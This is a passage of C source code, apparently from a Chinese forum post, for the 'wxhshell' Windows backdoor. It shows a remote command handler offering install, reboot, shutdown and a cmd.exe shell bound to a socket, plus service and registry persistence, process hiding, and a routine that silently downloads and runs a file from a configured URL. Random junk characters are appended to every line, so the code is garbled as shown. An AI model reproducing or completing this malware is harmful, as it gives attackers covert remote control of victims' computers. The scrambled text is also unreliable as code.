  // 帮助 pM= @  
  case '?': { <V#9a83JP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ds,NNN<HW  
    break; K 38e,O  
  } )'KkO$^&  
  // 安装 \m~ ?mg"#  
  case 'i': { 61HU_!A8S  
    if(Install()) iF?4G^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \L-o>O  
    else eYMp@Cx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |?hNl2m  
    break; |T atRB3>  
    } )"q$g&  
  // 卸载 B>WAlmPA  
  case 'r': { +1~Y2   
    if(Uninstall()) z;JyHC)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UmcPpZ  
    else :[|4Zn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o<`Mvw@Z  
    break; u+a" '*  
    } N?TXPY  
  // 显示 wxhshell 所在路径 lO! Yl:;m%  
  case 'p': { ]*|+06  
    char svExeFile[MAX_PATH]; (B{`In8G>y  
    strcpy(svExeFile,"\n\r"); \C $LjSS-  
      strcat(svExeFile,ExeFile); oOlqlv  
        send(wsh,svExeFile,strlen(svExeFile),0); z'Atw"kA  
    break; t<wjS|4  
    } (-viP  
  // 重启 W+d=BnOa8  
  case 'b': { SK t&]H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a,i k=g  
    if(Boot(REBOOT)) %wWJVq}jx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :rd{y`59>&  
    else { D^8]+2r  
    closesocket(wsh); S=B?bD_,c  
    ExitThread(0); ,$s NfW  
    } M?l/_!QB  
    break; Fcz7   
    } 4u- mE  
  // 关机 #m=TK7*v  
  case 'd': { vVQwuV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \!M6-kmi  
    if(Boot(SHUTDOWN)) r#rL~Rsd}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A[:0?Ez=  
    else { P0VXHE1p  
    closesocket(wsh); $`,10uw  
    ExitThread(0); *;cvG?V  
    } :}'5'oVG  
    break; vqO d`_)  
    } DSjEoWj   
  // 获取shell X5@+M!`  
  case 's': {  |Hx#Uk#  
    CmdShell(wsh); SO @d\H  
    closesocket(wsh); n@|5PI"bx  
    ExitThread(0); 5My4a9  
    break; Od_xH  
  } ""$vaqt  
  // 退出 g>` k9`  
  case 'x': { LtIp,2GP&_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); * -uA\  
    CloseIt(wsh); uH*moVw@5  
    break; gySCK-(y  
    } IAyyRl\  
  // 离开 #&0G$~  
  case 'q': { 3v\69s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dRj2% Q f  
    closesocket(wsh); ?='2@@8;  
    WSACleanup(); 4z<nJOEh[  
    exit(1); j.=&qYc0"  
    break; Z~R7 G  
        } y5/frJ  
  } 6mp8v`b  
  } #+CH0Z  
sg YPR  
  // 提示信息 gOiZ8K!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZHu"& &  
} bu0i #  
  } atr 0hmQ  
u@&e{w~0  
  return; 0O>T{<  
} Qe,jK{Y< -  
o3b=)E  
// shell模块句柄 X1DE   
int CmdShell(SOCKET sock) r2ZSkP.  
{ an q1zH  
STARTUPINFO si; 9w3KAca  
ZeroMemory(&si,sizeof(si)); TAL,(&[s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;|qbz]t2(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~jz!jF~I  
PROCESS_INFORMATION ProcessInfo; gXJtk;  
char cmdline[]="cmd"; 2i9FzpC3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V.w L  
  return 0; jk (tw-B  
} ?+)>JvWDz  
p : {,~ 1  
// 自身启动模式 :m]KVcF.  
int StartFromService(void) ql/K$#u  
{ )6 U6~!k  
typedef struct GVT| fE  
{ +{~ cX] |  
  DWORD ExitStatus; Vh?5  
  DWORD PebBaseAddress; _tlr8vL  
  DWORD AffinityMask; m@Hg:DY  
  DWORD BasePriority; Xsk/U++  
  ULONG UniqueProcessId; 6;C2^J@  
  ULONG InheritedFromUniqueProcessId; KWS\iu  
}   PROCESS_BASIC_INFORMATION; Ly46S  
v[~~q  
PROCNTQSIP NtQueryInformationProcess; .R^R32ln  
Cl6P,C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `y3*\l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }A}cq!I^  
:>C D;  
  HANDLE             hProcess; *epK17i=  
  PROCESS_BASIC_INFORMATION pbi; LbkQuq/d  
(N6=+dNY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C>A} e6o  
  if(NULL == hInst ) return 0; qrHCr:~  
A&N$=9.N1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GvzaLEo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'QSj-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =Q,D3F -+f  
bV$g]->4e  
  if (!NtQueryInformationProcess) return 0; uK%0,!q  
?%cZO "  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g& ou[_A  
  if(!hProcess) return 0; /Qu<>#[?  
`3eQ#,G!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #.<Dq8u  
-G[TlH06  
  CloseHandle(hProcess); lT?Vt`==~M  
XE'3p6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (%j V [Q  
if(hProcess==NULL) return 0; A(9$!%#+L  
/&H l62Ak  
HMODULE hMod; Fs}B\R/J  
char procName[255]; (]Q0L{~K  
unsigned long cbNeeded; C%#w1k  
#/"Tb ^c9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C>Q|"Vf2  
%H[~V f?d  
  CloseHandle(hProcess); e/uLBZ  
}#q0K  
if(strstr(procName,"services")) return 1; // 以服务启动 DzbcLg%:W  
`z^50Vh|  
  return 0; // 注册表启动 hwQrmVwvP  
} mGpBj9jr1  
s"`Oj5  
// 主模块 (zPsA  
int StartWxhshell(LPSTR lpCmdLine) _b`/QSL  
{ "r=p/"4D  
  SOCKET wsl; J8B0H1  
BOOL val=TRUE; DaBy<pGb?  
  int port=0; ol1J1Zg  
  struct sockaddr_in door; x*!*2{  
ai<K6)  
  if(wscfg.ws_autoins) Install(); 33ZHrZ  
Jt:)(&-t   
port=atoi(lpCmdLine); >E7s}bL"  
4~AY: ib|  
if(port<=0) port=wscfg.ws_port; >uo=0=9=  
i# fvF)  
  WSADATA data; A4*D3\>%u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D;hJK-Y  
%(S!/(LWW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eNK6=D|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y(*5qa<>  
  door.sin_family = AF_INET; {`Z= LLL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HqI[]T@  
  door.sin_port = htons(port); Y=i_2R2e2  
KGf@d*ZOMz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k$.l^H u  
closesocket(wsl); {z9,CwJan?  
return 1; I* P xQ  
} Uw?25+[b  
yO/'}FD  
  if(listen(wsl,2) == INVALID_SOCKET) { g7w#;E  
closesocket(wsl); o4^#W;%w  
return 1; BC85#sbl  
} /uPMzl  
  Wxhshell(wsl); vl!o^_70(  
  WSACleanup(); <O41 M\,  
#<@_mbQ@|K  
return 0; /IG3>|R  
np\*r|U  
} #'m#Q6`  
[U$`nnp  
// 以NT服务方式启动 3t5W wrNh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3*F|`js"  
{ K<k\A@rv8H  
DWORD   status = 0; ~iIFe+6  
  DWORD   specificError = 0xfffffff; K#N5S]2yb  
-dw/wHf"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^Ge|tBMoKE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Sq5}v]k@&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 29W`L2L  
  serviceStatus.dwWin32ExitCode     = 0; *CVI@:Q9  
  serviceStatus.dwServiceSpecificExitCode = 0; c],Zw  
  serviceStatus.dwCheckPoint       = 0; -aDBdZ;y  
  serviceStatus.dwWaitHint       = 0; a ~k*Gd(  
MIu'OJ"z~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _$mS=G(  
  if (hServiceStatusHandle==0) return; uZP( -}  
Qqd+=mgc  
status = GetLastError(); #UnGU,J  
  if (status!=NO_ERROR) QZ5%nJme_  
{ !MOcF5M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PkOtg[Z  
    serviceStatus.dwCheckPoint       = 0; ZC&~InN  
    serviceStatus.dwWaitHint       = 0; /AIFgsaY  
    serviceStatus.dwWin32ExitCode     = status; ; X/'ujg  
    serviceStatus.dwServiceSpecificExitCode = specificError; :FixLr!q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v){X&HbP  
    return; +p-S36K~,7  
  } yg%T{hyzH  
(OG>=h8?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CelM~W$=u  
  serviceStatus.dwCheckPoint       = 0; 5(DnE?}vo  
  serviceStatus.dwWaitHint       = 0; rD>q/,X=\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /b{Ufo3v  
} i;67< f}-  
_2<k,Dl;RY  
// 处理NT服务事件,比如:启动、停止  P!/:yWd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) UFE~6"t(  
{ ?osYs<k \  
switch(fdwControl) 'fIG$tr9X  
{ =/N0^  
case SERVICE_CONTROL_STOP: =Q8$O 2TW  
  serviceStatus.dwWin32ExitCode = 0; <*opVy^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \qbEC.-K  
  serviceStatus.dwCheckPoint   = 0; O.?q8T)n82  
  serviceStatus.dwWaitHint     = 0; s=XqI@  
  { Uc j>gc=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ibgF,N  
  } z.:IUm{z  
  return; U}W7[f lc  
case SERVICE_CONTROL_PAUSE: C 2?p>S/q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h-@_.&P0e  
  break; a{iG0T.{Yh  
case SERVICE_CONTROL_CONTINUE: c+u) C%g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e pAC%a  
  break; -vS7%Fbr  
case SERVICE_CONTROL_INTERROGATE: 2J7JEv|  
  break; &wB?ks  
}; W0Q;1${  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h='@Q_1Sb  
} <gSZ<T  
zQx7qx  
// 标准应用程序主函数 WtbOm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YifTC-Q;  
{ 1<f,>BQ+  
^^(4xHN  
// 获取操作系统版本 Xx=.;FYk  
OsIsNt=GetOsVer(); GnW_^$Fs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -KCQ!0\F  
QsPL^ Ny  
  // 从命令行安装 4!<[5+.  
  if(strpbrk(lpCmdLine,"iI")) Install(); Oc^bbC  
4Bq4d.0  
  // 下载执行文件 .w~zW*M0  
if(wscfg.ws_downexe) { ,:3Di (  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v&u8Ks  
  WinExec(wscfg.ws_filenam,SW_HIDE); =A^VzIj(  
} {FM:\/  
y &%2  
if(!OsIsNt) {  TGozoPV  
// 如果时win9x,隐藏进程并且设置为注册表启动 iLkP@OYgQ  
HideProc(); Ks^EGy+O:-  
StartWxhshell(lpCmdLine); d#nKTqSg  
} <k2]GI-}h  
else nL* SNQ_  
  if(StartFromService()) ,m.IhnCV\  
  // 以服务方式启动 RkBbu4uQ-  
  StartServiceCtrlDispatcher(DispatchTable); :WdiH)Zv  
else w24@KaKFo  
  // 普通方式启动 xr 4kBC t  
  StartWxhshell(lpCmdLine); (~n0,$  
iLG~_Ob:  
return 0; (yi{<$ U*  
}
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只看该作者 1 发表于: 2006-10-10
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